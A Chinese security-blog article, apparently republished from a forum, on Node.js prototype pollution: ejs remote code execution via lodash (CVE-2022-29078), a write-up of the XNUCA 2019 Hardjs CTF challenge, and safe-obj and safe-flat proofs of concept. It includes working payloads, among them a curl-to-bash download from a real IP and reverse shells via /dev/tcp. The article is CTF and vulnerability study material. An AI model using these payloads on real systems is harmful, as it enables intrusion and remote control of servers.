那我们的思路就来了,我们可以通过/edit_note 路由污染note_list对象的原型,比如加入某个命令,由于 commandsnote_list 都继承自同一个原型,那么在遍历 commands 时便会取到我们污染进去的恶意命令并执行。

在服务器上面创建一个反弹 Shell 的文件,然后等待目标主机去 Curl 访问并执行他:

在目标主机执行 Payload:

id=__proto__.a&author=curl http://1.15.75.117/shell.txt|bash&raw=a;

再访问 /status 路由,利用污染后的结果进行命令执行,成功反弹 Shell 并得到 flag

Lodash配合ejs模板引擎实现 RCE CVE-2022-29078

Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。

var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
    res.render ("index.ejs",{
        message: 'sp4c1ous'
    });
});

//设置http
var server = app.listen(8000, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

index.ejs

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

对原型链进行污染的部分就是这里的lodash.merge 操作,我们通过对 outputFunctionName 进行 原型链污染 后的赋值来实现 RCE ,语句为

"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'cat /flag\');var __tmp2"

下面我们开始分析。

我们从 index.js::res.render 处开始,跟进 render 方法:

跟进到 app.render 方法:

发现最终会进入到 app.render 方法里的 tryRender 函数,跟进到 tryRender:

调用了 view.render 方法,继续跟进 view.render

至此调用了 engine,也就是说从这里进入到了模板渲染引擎 ejs.js 中。跟进 ejs.js 中的 renderFile 方法:

发现 renderFile 中又调用了tryHandleCache方法,跟进tryHandleCache

进入到 handleCache 方法,跟进 handleCache:

在 handleCache 中找到了渲染模板的 compile 方法,跟进 compile:

找到了我们要找的outputFunctionName

发现在 compile 中存在大量的渲染拼接。这里将 opts.outputFunctionName 拼接到 prepended 中,prepended 在最后会被传递给 this.source 并被带入函数执行。所以如果我们能够污染 opts.outputFunctionName,就能将我们构造的 payload 拼接进 js 语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render 方法,其最终也是进入了 compile。最后给出几个 ejs 模板引擎 RCE 常用的 POC:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

[XNUCA 2019 Qualifier]Hardjs

  • / 首页
  • /static 静态文件
  • /sandbox 显示用户HTML数据用的沙盒
  • /login 登陆
  • /register 注册
  • /get json接口 获取数据库中保存的数据
  • /add 用户添加数据的接口

除了/static/login/register以外,所有路由在访问的时候都会经过一个auth函数进行身份验证

另外在初始化的时候有这么一句

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

所以我们可以通过json格式传递参数到服务端

发现调用了 lodash ,而且版本4.17.11

{
  "name": "htmlstore",
  "version": "1.0.0",
  "description": "htmlStore will help you store html file.",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^2.6.2",
    "express": "^4.17.1",
    "express-session": "^1.16.2",
    "helmet": "^3.19.0",
    "lodash": "4.17.11",
    "mongodb": "^3.3.0-beta2",
    "mysql": "^2.17.1",
    "randomatic": "^3.1.1"
  }
}

估计存在原型链污染漏洞,发现调用 lodash.defaultDeep 函数,

/get中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起

相关的从express到ejs的利用连上面写了,不写了。

最终还是

if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }

这里的 outputFunctionName 这个参数未定义,并且被拼接入一路回传给prependedthis.sourcesrcfn,然后以returnedFn返回并最后被执行。

而一路跟进的时候可以发现,并没有outputFunctionName的身影,所以只要给 Object 的prototype加上这个成员,我们就可以实现从原型链污染到RCE的攻击过程了!

payload

{
    "content": {
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/1.15.75.117/2333 0>&1\"');var __tmp2"
            }
        }
    },
    "type": "test"
}

发送6次请求,然后访问/get进行原型链污染,最后访问//login触发render函数,成功反弹shell并 getflag

safe-obj模块原型链污染

翻译很硬,没大看明白,这个模块需要lodash,但可以依稀的看出来这个模块是针对空对象的,也就是{}

CVE-2021-25928

POC

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

我们在safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');处下个断点,单步执行结束后可以看到

可以看到成功在原型中添加了属性

分析一下

查看safe-objv1.0.0中lib/index.js中的extend函数定义如下。

首先我们传入的一定是一个对象,然后他也可以接收{},满足条件进入第二个循环

第一次调用expand函数,传参如下。

obj = {},path = "__proto__.polluted",thing = "Yes! Its Polluted"

执行split('.')函数后,props数组值如下,此时进入else分支。

props = (2) ["__proto__","polluted"],path = "__proto__.polluted"

执行prop.shift()语句后,prop的值如下。

prop = "__proto__",props = ["polluted"]
obj = {}

这样就跳过了if判断,递归调用expand

相当于执行

expand(obj[__proto__]"polluted","Yes! Its Polluted")

再次调用split(''.')后,

props的值为”polluted”props.length===1结果为true

执行obj[props.shift()]=thing

props = ["polluted"], path = "polluted"

相当于执行obj[__proto__]["polluted"]="Yes! Its Polluted",造成原型污染。

CVE-2021-25927

该漏洞存在于safe-flat,v2.0.0~v2.0.1版本中,POC如下:

var safeFlat = require("safe-flat");
console.log("Before : " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After : " + {}.polluted);


文章来源: https://xz.aliyun.com/t/12053
如有侵权请联系:admin#unsafe.sh